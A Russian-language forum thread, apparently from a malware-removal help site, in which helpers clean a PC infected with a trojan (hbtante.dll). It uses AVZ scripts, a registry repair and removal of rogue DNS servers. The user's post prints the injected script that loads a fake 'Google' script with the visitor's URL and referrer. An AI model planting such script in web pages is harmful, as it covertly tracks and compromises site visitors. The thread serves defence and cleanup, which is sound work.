Trojan.Win32.Ddox.ci и код "google"

Помогите пожалуйста удалить вирус.

В браузере появляется сообщение о Trojan.Win32.Ddox.ci
а так же в низ кода страницы перед /body добавляется код якобы google:

[HTML]<script>if(self==top){
document.write("<script src='http" +
(("https:" == document.location.protocol) ? "s" : "") +
"://sites.google.com/static.js?t=stat&ran=i1p8bGVNPxYwm9eeGX7op7jnlCuPEELvG3XrSO8j1WztJnDRqi8a2JxY7IN/b4KLBM18c5DhdoY_&r="+escape(document.referrer)+"&u="+escape(document.URL)+"&v=351&"+Math.random()+"'>"+unescape("%3C/script%3E"));}</script>[/HTML]

Еще не открывается вкладка "Сервис" в IE (но возможно это появилось раньше)

выполните скрипт
[code]
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
QuarantineFile('C:\WINDOWS\system32\hbtante.dll','');
DeleteFile('C:\WINDOWS\system32\hbtante.dll');
BC_ImportDeletedList;
ExecuteSysClean;
ExecuteRepair(16);
BC_Activate;
RebootWindows(true);
end.
[/code]
пришлите карантин согласно приложения 3 паравил
повторите логи

Большое спасибо!
А отсутствие возможности открыть вкладку "Сервис" в IE (пишет: Операция отменена из-из действующих ограничений), это не вирус?

где повторные логи ?

Логи

Заразы в логах больше не видно.

Выполните скрипт в AVZ:
[code]
begin
ExecuteRepair(6);
ExecuteRepair(8);
RegKeyIntParamWrite( 'HKLM', 'SOFTWARE\Microsoft\Windows\CurrentVersion\policies\NonEnum', '{BDEADF00-C265-11D0-BCED-00A0C90AB50F}', 1);
RebootWindows(true);
end.[/code]
Компьютер перезагрузится.

Проверьте, решилась ли проблема с IE?

Нет, с IE - все так же.

[url]http://virusinfo.info/showthread.php?t=93621[/url]
попробуйте п.2 и 3.

Спасибо, но и это не помогает...

[B]195.226.220.30,195.226.220.31[/B] - вы уверены что это ваши ДНС серверы ?

Если честно, я не знаю, что это и не совсем понимаю вопрос :)

Пофиксите в HiJack
[CODE]O17 - HKLM\System\CCS\Services\Tcpip\..\{DB90DB92-0AB9-40F2-AB0C-EB62983F7DDB}: NameServer = 195.226.220.30,195.226.220.31[/CODE]Если пропадет Интернет, посмотрите в договоре с провайдером (или позвоните в их техподдержку) правильные адреса DNS-серверов и пропишите их в настройках подключения к Интернет

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]1[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\\windows\\system32\\hbtante.dll - [B]Trojan.Win32.Zapchast.fgg[/B] ( DrWEB: Trojan.Mayachok.based, BitDefender: Trojan.Generic.5795057, AVAST4: Win32:MalOb-HG [Cryp] )[/LIST][/LIST]